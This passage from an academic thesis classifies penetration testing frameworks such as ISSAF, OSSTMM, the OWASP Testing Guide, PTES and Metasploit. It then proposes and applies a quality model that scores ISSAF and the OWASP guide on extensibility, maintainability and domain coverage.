framework that encapsulates various methodologies. The document portrays framework
characteristics whereby it displays a well-structured template that can be adapted to cater for a
variety of environments. In addition, ISSAF provides phases and sub phases that encapsulate
methodologies that aid in the planning and management of a penetration testing project. ISSAF
covers the “what” and “why” within its embedded methodologies, furthermore, the framework that
encapsulates these methodologies presents as flexible and proficient.
4.2.1.2 Open Source Security Testing Methodology Manual (OSSTMM)
The OSSTMM is described as a manual that contains a methodology. The OSSTMM is foremost a
security auditing methodology as opposed to a penetration testing methodology. The document
purpose states; “The primary purpose of this manual is to provide a scientific methodology for the
accurate characterisation of operational security (OpSec) through examination and correlation of
test results in a consistent and reliable way” (ISECOM, 2000). Initially, the characteristics appear to
be more closely aligned to that of a framework. Prior to 2005 the OSSTMM was considered a
framework as claimed by the authors, thus “Since its start at the end of 2000, the OSSTMM quickly
grew to encompass all security channels with the applied experience of thousands of reviewers. By
2005, the OSSTMM was no longer considered just a best practices framework. It had become a
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methodology to assure security was being done right at the operational level. As a methodology it is
designed to be consistent and repeatable” (ISECOM, 2000). It could be argued that the OSSTMM is
a framework by means of providing the “what” processes and tasks need to be followed rather than
“how” processes and tasks are completed, however, this could be the case if it were considered a
penetration testing manual foremost. In the context of security auditing it closely aligns with
methodology. The OSSTMM does not describe how to perform a task but it does provide enough
detail for advanced security professionals to determine appropriate tools to use during a security
audit. Additionally, each phases consists of sub-phases that guide the security practitioner in their
efforts to complete a particular phase, aiding in the planning, management and reporting, therefore
exhibit more methodological characteristics.
4.2.1.3 NIST 800-115
NIST 800-115 is defined as a technical guide for information security testing and assessment. The
purpose of the guide is to provide information on planning and conducting information security
assessments The guide further outlines how to analyse findings and develop mitigation strategies
for organisations (NIST, 2008). At a minimum, NIST 800-115 recommends that organisations
should: establish an information security assessment policy, implement a repeatable and
documented methodology, determine objectives for each assessment, and analyse findings to
develop risk mitigation techniques. It contains eight sections, each of which contain sub-sections
that follow a well-defined structure that present technical testing and examination methods. The
format for each section is consistent offering the “what” and “why”, however, the “how” is
determined by the security practitioner. Each section outlines a table listing of techniques coupled
with the skill set required to implement certain tasks. Penetration testing is not covered extensively,
thus NIST 800-115 could not be used primarily for penetration testing. In summary NIST 800-115
is as the name suggests, a Technical Guide for assessing the security posture of an organisation. It
does not offer enough detail to be considered a penetration testing framework or methodology,
moreover, an overview of an information security assessment. The document could be considered a
framework for security assessments mainly because it portrays various framework characteristics,
primarily its structure and skeleton properties. In reference to penetration testing, it could only be
used as a basis to create a framework with the option of embedding a methodology; therefore it is
classified as a standard or guide.
4.2.1.4 OWASP Testing Guide (OTG)
OTG is defined as a guide that aims to create a standard for securing web applications, i.e.,, create
web applications with security in mind rather than address security concerns after the application is
in production. In addition, the testing guide attempts to provide a consistent and repeatable
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approach to testing web applications (OWASP, 2014a), in other words, penetration testing web
applications. OTG consists of five sections. The first two sections cover the OWASP project and an
introduction to security testing. Section three, OWASP Testing Framework, provides a basic
framework for web application development addressing web application security. It does not
discuss the “how” rather, what needs to be completed throughout the design, development, and
deployment process of web applications. Section four, Web Application Security Testing, details a
web application testing methodology whereby processes, tools and tasks are documented that relate
to penetration testing web applications. Section four is detailed enough to be considered a
methodology inasmuch as it discusses “how” and “why”, thus sets out to solve a particular problem
providing necessary tools and techniques. In addition, section five (Reporting) provides a
framework for reporting processes. In summary, the OWASP Testing Guide displays framework
characteristics primarily because it encapsulates two frameworks that present a skeleton or template
coupled with explanations of requirements, that of section three (OWASP Testing Framework), and
section five (Reporting). Additionally, it encapsulates a web application testing methodology
(section four) that details tools, techniques, and processes to solve a specific problem. OWASP
Testing Guide is therefore classified as a framework with an embedded methodology.
4.2.1.5 Building Security in Maturity Model (BSIMM)
BSIMM is a software security framework (SSF) that originated by studying and quantifying
security initiatives of sixty-seven successful firms with the aim of helping organisations plan, carry
out, and measure security initiatives independently (McGraw et al., 2009). BSIMM is concerned
with what organisations actually “do” in the real world compared to the more generic approach of
what organisations “should” do. The SSF embedded within BSIMM consists of 112 activities
divided into twelve practices that support four domains, mainly: governance, intelligence, SSDL
touch points, and deployment. BSIMM displays framework characteristics by means of its
flexibility. The practices recommended allow the security practitioners or business executives to
decide on how activities will be carried out and by whom. The framework is designed to enable
organisations the freedom to adapt it to business requirements. The SSF is not a penetration testing
framework, moreover, it is a security assessment framework that includes penetration testing as one
activity of the overall security initiative. Techniques and tools are not detailed, thus the SSF is a
skeleton (framework) that organisations can implement.
4.2.1.6 Penetration Testing Framework (PTF) 0.59
PTF is defined as a penetration testing framework. The framework is concerned with network foot
printing, enumeration, password cracking, and vulnerability assessment (Lawson et al., n.d). It also
covers specific domain areas, for instance; wireless penetration testing, physical security, blue tooth
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specific testing, and VoIP services. Each section details the recommended tools and techniques,
however, the security practitioner is expected to possess the knowledge and skill for each test. In
addition templates and checklists are provided for documentation and/or reporting. Information
outlined in the PTF is out-dated, for example; out-dated tools and broken links. Therefore, the
framework could not be considered complete or up-to-date. The structure lacks consistency and
does not appear to show framework or methodology characteristics, i.e., processes and phases are
not clear. Flexibility is questionable due to its lack of cohesion and loose structure; therefore it is
classified as a useful resource that has the potential to be further developed into a framework.
4.2.1.7 Penetration Testing Execution Standard (PTES)
PTES is defined as a penetration testing standard. It was originally created by a group of
information security professionals who felt there was a lack of quality and guidance within the
cyber security testing industry (Nickerson et al., n.d). The goal was to provide both business and
security providers a common language and scope for performing penetration tests. The primary goal
was to establishing a baseline that would define the boundaries of a penetration test. In other words,
what is the minimum set of tests, processes and outputs that should be employed before a
penetration test could be considered professional and complete. PTES includes: pre-engagement
interactions, intelligence gathering, threat modelling, vulnerability analysis, exploitation, post
exploitation, and reporting. An extensive list of tools and techniques are set out in each of the seven
sections accompanied by a description. Screen shots and links to resources are detailed throughout
the document. PTES is not complete as of this evaluation and could not be implemented in its
current state. Methodology is excluded due its lack of key characteristics, primarily the “how” and
“why”, and incomplete documentation. Framework characteristics do exist, for example; skeletal
structure, flexibility, and additionally describes “what” is required for each phase. Overall PTES
presents as reusable and well structured, however, the absence of primary framework characteristics
suggest it more closely aligns with a resource, therefore could not be considered a framework or
methodology without undergoing further development.
4.2.1.8 Metasploit Framework (MSF)
MSF is one of four Metasploit editions now supported and maintained by Rapid7, a commercial
company offering cyber security products. MSF is a platform for writing, testing, and using exploit
code to deliver payloads to target systems for the purposes of penetration testing. MSF is a
command line interface with an underlying module-based architecture. It is built with extensibility
in mind by permitting different modules (software based) to perform different tasks, thus new
modules can be added (Holik et al., 2014). The basic process for security practitioners is to first
choose an exploit that exists on the target system. Next, determine if the target is vulnerable to the
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exploit, followed by selection and configuration of a payload before attempting to exploit the target.
Specific information about the target is required; therefore third-party tools are often used in
combination to obtain certain information, i.e., the target operating system, open ports, and/or
potential vulnerabilities. MSF is considered a suite of tools in relation to penetration testing. It
could be argued that MSF is a framework from a software application perspective, however, the
focus of this research is penetration testing frameworks, thus the evaluation is viewed from this
context. MSF is classified as an application suite, a practical solution that provides an array of tools
to facilitate a penetration test rather than a documented outline of process and methods to follow.
MSF is excluded from the methodology category for obvious reasons, primarily because it is not a
document containing processes and phases with a set of underlying principles. Furthermore, it is
void of the “how” and “why”. Exclusion from the framework category is somewhat more difficult
due to its flexibility and extensibility from an application framework perspective as mentioned
previously. In reference to penetration testing framework characteristics, MSF cannot be relied upon
alone to complete a penetration test, moreover utilised as a recommended tool. The project aspect of
penetration testing is not addressed, thus implementation of some framework or methodology prior
to using MSF would be an advantage; therefore classified as an application suite that can facilitate a
penetration test.
4.2.1.9 Browser Exploitation Framework (BeEF)
BeEF is an open source browser exploitation framework used primarily as a tool to detect and
exploit browser based vulnerabilities. BeEF comes packaged with a web interface, console
application interface, and metasploit integration (Alcorn et al., 2012). Similarly to other
frameworks, BeEF encompasses information gathering, social engineering, and network discovery
as packaged software modules. BeEF provides the experienced security practitioner the means of
assessing the security posture of an environment by using client side attack vectors. BeEF is
excluded from the methodology category naturally because it does not document processes and
methods to follow or provide an underlying set of principles, of which are considered two key
characteristics of methodology. Similarly to MSF, it could be argued that BeEF is a framework from
a software standpoint, however, to reiterate, software frameworks are not the focus. For the
purposes of penetration testing, framework is ruled out primarily because it is an off the shelf ready
to use product, thus will facilitate a penetration test for one domain area, that of web application
using web based browsers. Futhermore, BeEF does not suggest the “what” or provide guidelines to
follow although documentation is available by means of a wiki. Nonetheless, not considered a
substitute for processes and procedures. In addition, flexibility is questionable of which are
considered key characteristics of a framework.
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4.2.2 Gap Analysis Matrix
Table 4.3 shows a summary of the nine penetration testing methodologies and/or frameworks
discussed in the theoretical review (section 4.2.1). Original classification (pre-evaluation) and post
evaluation classifications are shown. The classifications illustrated in table 4.3 are ordered
according to definitions, for example; a framework encapsulates a methodology and methodology
encapsulates tools, techniques, and resources. In addition, frameworks that embed methodology are
identified.

Table 4.3: Gap Analysis Matrix

Standard or
Guide
ISSAF
OSSTMM

*

NIST 800-115

*+

OWASP Testing Framework

*

Framework

Framework
encapusulates
Methodology

*+

yes

+

Application
Methodology Suite

Manual or
Resource

*+

*

yes

*+

BSIMM

*

PTF 0.59

+

*

PTES

+

Metasploit Framework

*

+

BeEF

*

+

Legend
Pre-evaluation Classification
Post-evaluation Classification

*

+

4.2.3 Candidate Selection
From the gap analysis it was possible to develop a taxonomy of penetration testing specific
frameworks or methodologies whereby suitable candidates can be identified to facilitate their use in
research or practice. It was found that some frameworks were indeed frameworks in the accepted
sense of the word, whereas others were simple collections of tools without a discernible underlying
ontology. This is considered an important distinction because novice penetration testers would
benefit from the additional support provided by a mature framework.
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Table 4.4: Classification of Penetration Testing Frameworks and Methodologies
Classification

Suitability

�

�
"'
Candidate
ISSAF

-

Framework Methodology Other
✓

NIST 800-115
OWASP Testing Framework

✓

BSIMM

✓

Security
Assesment

✓
✓

OSSTMM

Penetration
Testing Specific

✓

✓

✓

✓
✓
✓

PTF 0.59

✓

✓

PTES

✓

✓

Metasploit Framework

✓

✓

BeEF

✓

✓

The next step, selection of two candidates suitable for quality evaluation, is determined by two
criteria. First, whether or not a particular candidate classified as either framework or methodology.
Candidates that fall under a methodology or framework were deemed in-scope, thus eliminating all
other candidates. The second criterion was to examine the boundaries of a particular candidate for
its scope, in other words, whether or not a particular candidate is focused entirely on penetration
testing as opposed to an overall security assessment. The research being undertaken has a primary
goal of evaluating penetration testing methodologies and frameworks explicitly rather than
assessing the security posture of an organisation in its entirety; therefore candidates that are
categorised as penetration testing explicitly are preferred over security assessment specific
candidates. As a result, the two remaining candidates, ISSAF and OTG, are selected to undergo
further evaluation.

4.3 Quality Metrics and Evaluation
Research question two (RQ2) asks, what quality metrics can be defined for penetration testing
frameworks? To adequately answer the research question presented, it is first necessary to define a
suitable set of quality metrics applicable to penetration testing frameworks. To address the question,
this section is divided into two themes. Section 4.3.1 defines quality metrics applicable to
penetration testing and section 4.3.2 adopts the ISO/IEC 25010:2013 product quality model
(Standards Australia, 2013) as a foundation whereby an amended model is proposed.
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The Institute of Electrical and Electronics Engineers (1990) defines quality as; the degree to which
a system, component, or process meets specified requirements, and, the degree to which a system,
component, or process meets customer or user needs or expectations. Similarly Standards Australia
(2000) defines quality as, “the totality of characteristics of an entity that bear on its ability to satisfy
stated and implied needs”. It is postulated that penetration testing frameworks are a product, thus
should exhibit quality characteristics to some degree, however, measures of quality differ
considerably (Avison & Fitzgerald, 2006). To recall, section 2.4.6 showed the most common
quality characteristics across a range of models, for convenience table 4.5 reintroduces the models
reviewed.

Table 4.5: Quality Metric Comparison
Mc Call

Boehm

Contextual
Correctness

*

Descriptive
Efficiency

*

Flexibility

*

*

ISO25010 Total

*

1

*

2

*

1

*

3

*
*

ISO9126

1

Functional
Integrity

Dromey

*

*

*

Internal

2
*

Interoperability

*

Maintainability

*

Modifiability

3
1
1

*

*

*

*

*

5

*

*

3

*

*

3

Operability

*

Portability

*

*

*

*

*

5

Reliability

*

*

*

*

*

5

Reusability

*

*

*

*

4

*

*

2

*

*

4

Security
Testability

*

Understandability
Usability

*
*

*

1
*

*

3
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As previously stated in chapter 2, table 4.5 shows that maintainability, portability, and reliability are
common among the five models reviewed. Therefore they are considered significant quality
metrics, followed closely by reusability and testability. While it can be postulated that these metrics
are deemed most suitable, the models reviewed are primarily used to evaluate software quality. The
relative importance of quality characteristics will depend on the high-level goals and objectives for
the project. Standards Australia (2013) asserts that not all quality characteristics will be relevant for
every scenario. Relevance (to penetration testing) should be considered before finalising a set of
quality characteristics to establish evaluation criteria. Therefore the quality characteristics outlined
have been adapted to align more closely with penetration testing. The candidate set of quality
metrics used to form the basis of the underlying quality model are: extensibility, maintainability,
domain coverage, usability, availability, and reliability. Extensibility, although not outlined in table
4.5 explicitly, is considered of particularly relevance within the penetration testing domain for
reasons of updateability. Extensibility draws on quality metrics outlined in table 4.5 to form subcharacteristics that further support its role in quality evaluation. Extensibility could be considered
closely related to maintainability, however, it deserves attention in isolation due to the ongoing
changing nature of cyber threats. Ideally frameworks should have the capacity for extension due to
the increased frequency of emerging threats (Australian Crime Commission, 2013), therefore
provide the flexibility to respond to new threats or vulnerabilities as they emerge. Similarly, domain
coverage and availability are included as primary characteristics within the metrics set. Domain
coverage within penetration testing frameworks is one primary reason a framework may or may not
be selected for use, i.e., OWASP Testing guide is explicitly focused on the domain area of web
applications, for this reason, could include or exclude its suitability for a particular project. For this
reason, domain coverage is relevant and of high significance in this context. Likewise, availability
is concerned with the accessibility of documentation, and in some cases, third party tools required
for project completion, thus it encapsulates four sub-characteristics (discussed in section 4.3.2) that
draw from table 4.5 to support its function. Usability on the other hand, is not considered of high
importance among the models reviewed in table 4.5, however, for documented frameworks usability
is significant from a security practitioner perspective. Usability encapsulates four subcharacteristics appropriate for documented frameworks, among them, readability and learnability,
specifically aimed at measuring documented frameworks. Consequently, its level of importance is
elevated and therefore included as a primarily level metric. Finally, in agreement with table 4.5,
maintainability and reliability are included as primary characteristics in the metrics set.
4.3.1 Quality Metrics Defined
This section defines top-level quality metrics that form the basis for the Penetration Testing
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Framework (PTF) Quality Model detailed in section 4.3.2. To reiterate, the selected metrics are:
extensibility, maintainability, domain coverage, usability, availability, and reliability. Each metric
encapsulates one or more sub-characteristics that are discussed in further detail in section 4.4,
Framework Quality Evaluation.
4.3.1.1 Extensibility
Laplante (2001, p. 173) defines extensibility as “the capacity of a system, component, or class to be
readily and safely extended in its behavioral specification/operational and/or structural capabilities”.
Likewise, the IEEE describes expendability or extensibility, as the ease with which a system or
component can be modified to increase its functional capacity (Institute of Electrical and
Electronics Engineers, 2011). Within a framework context, extensible pertains to the capacity of the
framework to be readily and safely extended with minimal effects on its structure and have the
ability to accommodate changes to meet new requirements with minimal impact.
4.3.1.2 Maintainability
From a software context, to maintain is the ease in which it can be understood, corrected, adapted
and/or enhanced (Laplante, 2001, p. 293). Sommerville (2007) defines maintainability as “software
that can be adapted economically to cope with new requirements and where there is a low
probability that making changes will introduce new errors into the system”. The Institute of
Electrical and Electronics Engineers (2011) asserts that maintainability is the ease in which a
software component can be modified to change or add capability. With reference to maintainable
penetration testing frameworks, maintainability is primarily concerned with the amount of effort
required to keep the system running satisfactorily and continuing to meet changing requirements
over its lifetime (Avison & Fitzgerald, 2006). For example, new and emerging technologies can be
added and out-of-date practiced removed. In other words, the document or software undergoes
regular updates and revisions.
4.3.1.3 Domain Coverage
Generically, a domain can be defined as “a sphere of control, influence or concern” (Oxford, 2008).
Within a penetration testing context, domain coverage is concerned with a particular area of interest
for the purposes of a security assessment, i.e., wireless, mobile phone, internal network, or web
application. The scope and business objectives will likely determine the domain areas that will
undergo a penetration test. Particular domain areas require the ability to be included or excluded
depending on business requirements without impacting the overall outcome of a penetration test.
Domain coverage as a quality metric is concerned with the coverage of domain areas the framework
supports.
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4.3.1.4 Usability
Usability refers to the ease of use and efficiency with which a user can learn to operate, prepare
inputs, and interpret outputs of a system component (Institute of Electrical and Electronics
Engineers, 2011). Usability primarily relates to the initial effort to learn and reoccurring effort to
use and interpret the functionality of software (Deutsch & Willis, 1988). When relating usability to
penetration testing frameworks, the documentation or software should be easy to use and interpret,
thus require minimal learning time and increase productivity.
4.3.1.5 Availability
Availability is concerned with the degree to which a system or component is operational and
accessible when required for use (Institute of Electrical and Electronics Engineers, 2011). The
frame of reference aligns closely with software engineering whereby uptime and downtime are
considered. In the case of documented frameworks availability is not about uptime, moreover, the
effort required to obtain a particular framework and/or the software tools that it recommends. Put
more simply, the framework of choice used to facilitate a penetration test should be obtainable
throughout the life of the project. In addition, the recommended software should also be accessible
to perform its required function over a stated period of time.
4.3.1.6 Reliability
Reliability deals primarily with the rate of failures in software that render it useable (Deutsch &
Willis, 1988). The Institute of Electrical and Electronics Engineers (2011) defines reliability as the
ability of a system or component to perform its required functions under stated conditions for a
specified period of time. Avison and Fitzgerald (2006) discuss reliability with a focus on
methodologies in particular, thus assert that error rates should be minimised and outputs are
consistent and correct. Similarly, a direct measure of reliability in relation to penetration testing
frameworks, considers the error rate whereby false positives are minimal and the outputs are
consistent enough to render it useable and consequently, repeatable.
4.3.2 Quality Model
Figure 4.1 shows a generic quality model. Standards Australia (2013) clearly state that “It is not
practically possible to specify or measure all sub-characteristics for all parts of a large computer
system or software product. Similarly, it is not usually practical to specify or measure quality in use
for all possible user-task scenarios. The model should therefore be tailored before use as part of the
decomposition of requirements to identify those characteristics and sub-characteristics that are most
important, and resources allocated between the different types of measure depending on the
stakeholder goals and objectives for the product.” Therefore, the ISO model has been amended to
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focus less on software quality evaluation and more on aspects of penetration testing framework
evaluation (see figure 4.2).

Quality

Characteristic 1

Quality property 1

Characteristic 2

Characteristic 3

Characteristic n

Subcharacteristic 1

Subcharacteristic 2

Subcharacteristic n

Quality property 1

Quality property 2

Quality property n

Quality property 2

Quality property 3

Quality property n

Figure 4.1: Abstract Quality Model (adapted from ISO/IEC 25010:2013)

Penetration Testing Framework Quality Model

Extensibility

Maintainability

Domain Coverage

Usability

Availability

Reliability

I
capability
timeliness
modifiability
modularity
feasibility

I

applicability
relevancy
analysability
frequency
testability

adaptability
flexibility
supportability

appropriateness
learability
operability
readability

portability
obtainability
operational

maturity
consistency
reusability

Figure 4.2: Penetration Testing Quality Model adapted from (ISO/IEC 25010:2013)

4.4 Framework Quality Evaluation
The Penetration Testing Quality Model (PTF Quality Model) proposed in figure 4.2 is composed of
six top-level characteristics and supporting sub-characteristics that are relevant to aspects of
penetration testing frameworks. The scope of the model is designed to provide a foundation
whereby quality can be evaluated. It is not practically possible to measure all characteristics
outlined in the model, thus certain characteristics are quantified while others are simply observed.
This section will examine each top-level characteristic and supporting sub-characteristics detailed
within the PTF Quality Model with the aim of evaluating the two selected frameworks, ISSAF and
OTG, for quality.
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4.4.1 Measuring Extensibility
To recall, the definition of extensibility can be described as, the ease with which a system or
component can be modified to increase its functional capacity (Institute of Electrical and
Electronics Engineers, 2011). When referring to penetration testing frameworks, an extension can
be in the form of additional tests to cater for new vulnerabilities as they are discovered, or, a request
for change to reflect new and emerging vulnerabilities. Measuring extensibility depends on multiple
factors. First, whether or not the framework can be extended in any capacity. For instance, it is
possible that a framework may not accommodate modifications in any form; under these
circumstances the framework is not considered extensible. The second factor of significance is the
process involved for a potential extension to be implemented, put another way; do the authors cater
for extensibility in a timely manner? If an extension request impacts the project timeline then the
frameworks efficiency is reduced. Third, relevancy relates to document content detailed within the
framework and can be evaluated analytically. For instance, it would be of no benefit for security
practitioners employing a particular framework to test a system with outdated information, as is the
case with ISSAF. ISSAF documents testing of outdated servers such as Novell Netware, although
support ceased in May 2009 (Novell, 2015). There are numerous security tests contained within the
ISSAF considered outdated, and in some cases, no longer pertinent, consequently affecting the
framework’s relevancy. To reiterate, ISSAF has not undergone document updates since 2006, thus it
is no surprise that particular information is not relevant. Although relevancy is not quantified
statistically, its existence should be obvious. The final factor taken into consideration is whether the
extension impacts the overall structure of the framework negatively, in other words, modularity
facilitates ease of updates without the requirement for document restructure. Ultimately it is up to
the discretion of the authors and/or technical team to discern whether an update or extension is
feasible and determine the overall impact on the framework in question. In practice security
practitioners do not have control in this regard, however, it is still of significance to mention given
extension requests may or may not be approved if required throughout the duration of a penetration
testing project. In the case of ISSAF, the document is no longer maintained; as a result it is not
considered extensible. OWASP Testing Guide (OTG) on the other hand, provides extensibility by
virtue of an approval process for a change request and encourages security professionals to put
forward extensions for benefit of the frameworks capability. According to the project leader Andrew
Muller, there is no formal process for change requests. Updates for OTG are raised on the OWASP
mailing list allowing permission for anyone to add content. In the future this process is expected to
improve and become more formalised. The turn around time for changes from suggestion to
acceptance submitted via the wiki (online version), is approximately one day. Updates to the official
released document (downloadable version) can range from one to two years (Muller, 2015). It is
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important to note that it is not uncommon for organisations or security practitioners to implement
local extensions by means of manual additions, particularly if the framework is open source.
Depending on the framework in question, manual additions in some cases can lead to uncontrolled
versions, thus causing confusion about the content if manual additions are not formalised. For the
purposes of measuring extensibility, manual changes are not considered a formal process for
extensibility; therefore, manual extension in this way is not considered a measure of extensibility.
Extensibility summary:
Based on evaluation of both OTG and ISSAF with respect to quality metrics, table 4.6 indicates that
OTG is more extensible than ISSAF. It is important to note that the scale used for each property is
nominal, not ordinal, therefore a framework either exhibits a property or it does not. All properties
contribute equally to the quality metric i.e. there are no weighting factors assigned to each of the
properties. It is acknowledged that this is a simple model, but it is sufficient for this purpose and
will be used until proven deficient.

Table 4.6: Extensibility
Sub-characteristics ISSAF OTG
Capability

No

Yes

Timeliness

No **

Yes *

Modifiability

No

Yes

Modularity

Yes

Yes

Feasibility

No

Yes

Legend
* Wiki updates are instantaneous, however the cycle time for the formally ratified version is two
years.
** No longer supported
4.4.2 Measuring Maintainability
Measures of maintainability are well established in the software engineering literature. The
Maintainability Index (MI) is one such method that relies on techniques for counting lines of code,
among others (Heitlager, Kuipers, & Visser, 2007). Clearly software methods for measuring
maintainability are not suitable for penetration testing frameworks, however, that is not to say the
concept is not relevant. Furthermore, penetration testing in its essence is testing software and/or
hardware employing software of some type in most cases. Maintainability as defined in section
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4.3.1, is the ease in which a framework can be understood, adapted, enhanced or modified by the
intended maintainers, consequently undergo regular updates and revisions. It is of significance
within the Computer Security discipline that new vulnerabilities are identified sooner rather than
later; thus security professionals require up-to-date information as soon as it is publically available
for penetration tests to be effective (Li & Rao, 2007). To measure this particular quality
characteristic, consideration is given particularly to the number of revisions (frequency) a
framework has undergone since inception. In addition to frequency of revisions, attention is paid to
sub-characteristics as outlined in the Penetration Testing Framework Quality Model (see figure 4.2),
namely: analysability, testability and modifiability. As previously stated, it is not practically
possible to measure all characteristics or sub-characteristics of quality metrics, however, in the case
of maintainability, sub-characteristics outlined in figure 4.2 should be present although not
necessarily quantitative in nature. Each sub-characteristic is examined respectively.
Analysability, as defined by Standards Australia (2013), is the degree of effectiveness and efficiency
with which it is possible to assess the impact on a product of an intended change to one or more of
its parts. Analysability is concerned with diagnosing a product for deficiencies to identify parts to be
modified. Though not the primary concern of security practitioners, it should be obvious from
analysis whether or not the product is maintained. Similarly, modifiability is the degree to which a
product can efficiently be modified without introducing defects or degrading system quality
(Standards Australia, 2013), thus analysability has a direct influence on modifiability. Finally,
testability establishes certain test criteria suitable to test a product. Subsequently, tests are
performed to determine whether these criteria have been met. Measuring testability is not easy to
quantify and will largely depend on the circumstances and environment of which a particular
framework is used, therefore discernment is necessary. Returning to frequency, the primary
characteristics preferred for measuring maintainability, is to quantify the number of revisions a
framework has undergone in its lifetime. For instance, additional features implemented since
inception are characteristics that contribute to revisions. The underlying assumption is revisions
reflect a measure of activity. The type of activity, i.e., bug fixes, documentation edits, addition of
new features, or any other activity, is not considered in isolation in this instance. To elaborate
further, ISSAF restricts revision information. This means ISSAF omits the type of revision
comparative to OTG whereby revision activity is provided in greater detail. Moreover, not enough
comparative information is available between the two frameworks; therefore that level of detail is
restricted. It is acknowledged that measuring frequency is not the only way to determine
maintainability, however, it is the preferred method given the “product” is presented in documented
form. Data analysis is achieved by calculating the average number of revisions annually for each
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framework.
ISSAF underwent five revisions in its lifetime while OTG underwent five major revisions and
numerous sub-revisions from OTG version 1.0 through OTG version 4.0. OTG originated in 2003
and subsequently transformed into an online wiki (online collaborative database), thus revision
history became abundantly available (OWASP, 2014a). For the purposes of calculating revisions,
OTG versions 1.0, 1.1, and 2.0 are omitted for reasons relating to the availability of historical data.
Furthermore, earlier revisions of OTG did not include web application security testing which is the
underlying factor for selection of this particular framework. Consequently, OTG versions 3.0 and
4.0 are quantified in the analysis.

Table 4.7: Revision Frequency
Total

Total

Date

of

Revisions (r)

Years

Inception

(t)
ISSAF

5

2

December,
2004

OTG 3.0 + 4.0

245 + 223

7

May, 2008

468
Data Collection
The Open Information Systems Security Group (OISSG) no longer provides a web presence or
statistical information relating to the ISSAF release cycle. As a result, information was difficult to
obtain. To retrieve information regarding ISSAF revisions and updates, an alternate information
resource was soured from Internet archives (archive.org), an information resource that compiles
snapshots of websites over time. Fortunately, data was retrieved from a specific year and/or month.
The final update for ISSAF was 2006; therefore the dates entered for data retrieval are dated March
2007. Information regarding OTG revisions and updates is publically available from OWASP,
therefore sourced directly from the OWASP website.
Table 4.7 shows OTG underwent 468 revisions over 7 years (OWASP, 2014b) in comparison to
ISSAF of which underwent 5 revisions over 2 years (Internet Archieve, 2007). While it is obvious
OTG had far more revisions than its counterpart, it does not necessarily prove that ISSAF lacks
quality. Moreover, other factors come to the fore, for example; does OTG have more contributors
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than ISSAF, were revisions for OTG related to bad design, or does it simply suggest the product is
better overall? These latter questions are interesting, but beyond the scope of this research. While it
is acknowledged that frequency of change (a sub-characteristic of maintainability) is one of various
means to measure maintainability, the number of revisions a framework has undergone since
inception can quantify frequency, thus reflects a measure of activity. Therefore, frequency of
revisions is considered a sufficient method for measuring frameworks that present in documented
form. To conclude, ISSAF is no longer supported by OISSG, and cannot be considered
maintainable, however, maintainability was achieved in its lifetime averaging 2.5 revisions per year.
Comparatively, OTG presently undergoes frequent revisions showing on average 66 updates per
year, consequently, show greater maintainability than its counter part due to higher revision activity.
4.4.3 Measuring Domain Coverage
Penetration testing projects will often detail a well-defined timeframe and scope. To elaborate
further, the AU2EU project used in this research had at its disposal two instances (cases) of an eAuthorisation system. First, the German Red Cross (DRK) whereby the access point of the system
was a browser based web interface; second, the CSIRO implementation whereby Near Field
Communication (NFC) Cards are used for system access. In addition to access points, users of the
system are granted access levels to authenticate, granting permissions to system functions
appropriate for each access level. In the case of DRK, the primary access point is a web interface
accessible via a web browser; therefore the appropriate domain coverage for this particular
implementation is web application. Regrettably, the CSIRO implementation did not undergo testing
due to project limitations not identified prior to this research. As a result, the IBM and DRK
implementations are evaluated for domain coverage respectively for both frameworks. With this in
mind, the framework of choice should include appropriate domain coverage to align with the agreed
project scope, i.e., web application as the primary domain coupled with database and password
assessment as sub-domain coverage. To determine if domain coverage is adequate, several factors
are considered. First the application(s) or hardware devices that require assessment (primary
domains). Second, corresponding sub-domain coverage of each primary domain identified. This
research was performed on a web application, thus only one primary domain area was required for
coverage, that of web application. Sub-domain coverage for web application includes, but not
limited to: cross-site scripting tests, database assessment, and password attacks among others.
Additionally, it is worthy to note that information gathering is a fundamental phase of all
penetration testing frameworks and should be included in a given project. In the case of OTG, only
one domain area is covered, however, if the focus of the penetration test is web application then it is
suffice to say that the domain coverage is adequate provided sub-domain coverage of the web
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application domain is addressed. The structure of OTG is purely focused on web application testing
compared to ISSAF of which adopts a much broader approach, thus the structure of ISSAF supports
far more primary domain areas, for instance; VPN assessments, firewalls, and network storage. The
OISSG, responsible for the creation of ISSAF, asserts that it is easier to remove information rather
than develop it (OISSG, 2005). For this reason, it attempts to cover every scenario and prefers a one
size fits all approach as compared to OTG whereby its narrow focus is designed specifically for one
primary domain. The question that arises from unitary coverage is whether it is detailed enough, in
other words, are there sufficient sub-domains covered within the framework to adequately test the
web application interface and infrastructure in its entirety. With reference to ISSAF, domain
coverage is far more extensive in comparison to OTG. As will be demonstrated, this does not mean
that ISSAF was the better choice. Moreover, the context and scope of the research was primarily
based around the web application domain, therefore OTG provided adequate coverage. Literature
investigating domain coverage relating to penetration testing is scarce. Even less discussion exists
regarding an approach as to how it could potentially be measured. This research proposes a simple
model for assessing frameworks for domain coverage taking into consideration corresponding subcharacteristics outlined in the PTF Quality Model (see figure 4.2). Sub-characteristics are either
present or they are not; therefore the scale is categorical in nature. To recall, the supporting subcharacteristics are: adaptability, flexibility, and supportability.
Standards Australia (2013) define adaptability as “the degree to which a product or system can
effectively and efficiently be adapted for different or evolving hardware, software or other
operational or usage requirements”.

In relation to domain coverage for penetration testing

purposes, adaptability takes on similar meaning by way of accommodating domain coverage for
different circumstances that might not be addressed explicitly, thus deemed flexible without
requiring a modification or change request. This is not to be confused with extensibility whereby an
extension would be considered more appropriate. One example of adaptability encountered while
implementing ISSAF was password attacks. Password attacks against login authentication systems
are not covered within the web application domain area but are addressed under an additional
domain area “password attack”, therefore, by means of cross domain coverage, adaptable. Similarly,
flexibility pertains to the flexible nature of a specific domain area. This essentially means that
although a domain area may not be covered in its entirety, it is still applicable. To demonstrate, SQL
injection is recommended as a sub-domain of web application testing within ISSAF. The
recommended technique shows only how to inject MySql and ignores PostgreSql injection. This is
not to say that PostgreSql injections are not applicable for a different project, moreover ,the same
technique can be adapted to cater for PostgreSql injection simply by changing the input data
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(injection strings). Finally, supportability is relatively simple, the framework either supports a
particular primary domain area for security assessment or it does not. Naturally, the security
practitioner will examine the framework for relevant domain coverage and predetermine suitability
before employing a framework for a particular project.
Table 4.8: Domain Coverage
Domain Coverage
ISSAF

OTG

Supports Primary Domain

Yes

Yes

Sub-domain coverage adequate

Yes

Yes

Adaptability

Yes

Yes

Flexibility

Yes

Yes

Domain Coverage Summary
Provided project scope is well defined, analysing a framework for appropriate coverage is possible.
The sub-characteristics coupled with framework analysis present a proposed model for assessing
